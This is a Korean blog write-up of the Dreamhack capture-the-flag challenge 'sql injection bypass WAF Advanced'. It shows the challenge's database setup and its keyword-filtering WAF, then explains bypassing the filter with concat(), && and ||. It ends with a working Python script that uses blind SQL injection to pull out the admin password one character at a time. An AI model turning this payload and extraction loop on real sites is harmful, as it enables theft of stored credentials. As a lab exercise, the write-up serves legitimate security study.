본문 바로가기

웹해킹

드림핵 sql injection bypass WAF Advanced 롸업

CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
FLUSH PRIVILEGES;

sql 파일은 딱히 달라진 것이 없어 보인다.

admin 계정의 비밀번호가 flag이다.

 

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/', 
            '\n', '\r', '\t', '\x0b', '\x0c', '-', '+']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data.lower():
            return True

    return False

이 부분만 달라진 것 같은데 대소문자 우회가 안되고, 공백 필터링이 심해졌다.

문자열은 대소문자 대신에 concat을 이용해서 우회하고 and나 or은 &&, ||로 우회해야 한다.

union select에서 사이 공백을 대체할 만한게 없기 때문에 구문은 하나만 써야 한다.

그래서 그냥 uid=''||uid=concat('ad','min')으로 하고 &&로 substr(upw,1,1)='D'이런식을 한글자씩 구해야 할 것 같다.

이렇게 하면 된다. 

import requests, string

url = "http://host3.dreamhack.games:9471/?uid="

charset = string.ascii_lowercase + string.digits + '}'

flag = 'DH{'

idx = 4
while True:
    for ch in charset:
        payload = "'||uid=concat('ad','min')%26%26substr(upw,{idx},1)='{ch}';%23".format(idx=idx, ch=ch)
        if "<pre>admin</pre>" in requests.get(url+payload).text:
            flag += ch
            idx += 1
            print(flag)
            break
    if flag[-1]=='}':
        break

자동화 코드를 이용해 flag를 구할 수 있다.

'웹해킹' 카테고리의 다른 글

드림핵 NoSQL-CouchDB 롸업  (0) 2023.12.03
NoSQL  (0) 2023.12.03
드림핵 sql injection bypass WAF 롸업  (0) 2023.12.03
SQL Injection-2  (0) 2023.12.02
드림핵 error based sql injection 롸업  (0) 2023.12.02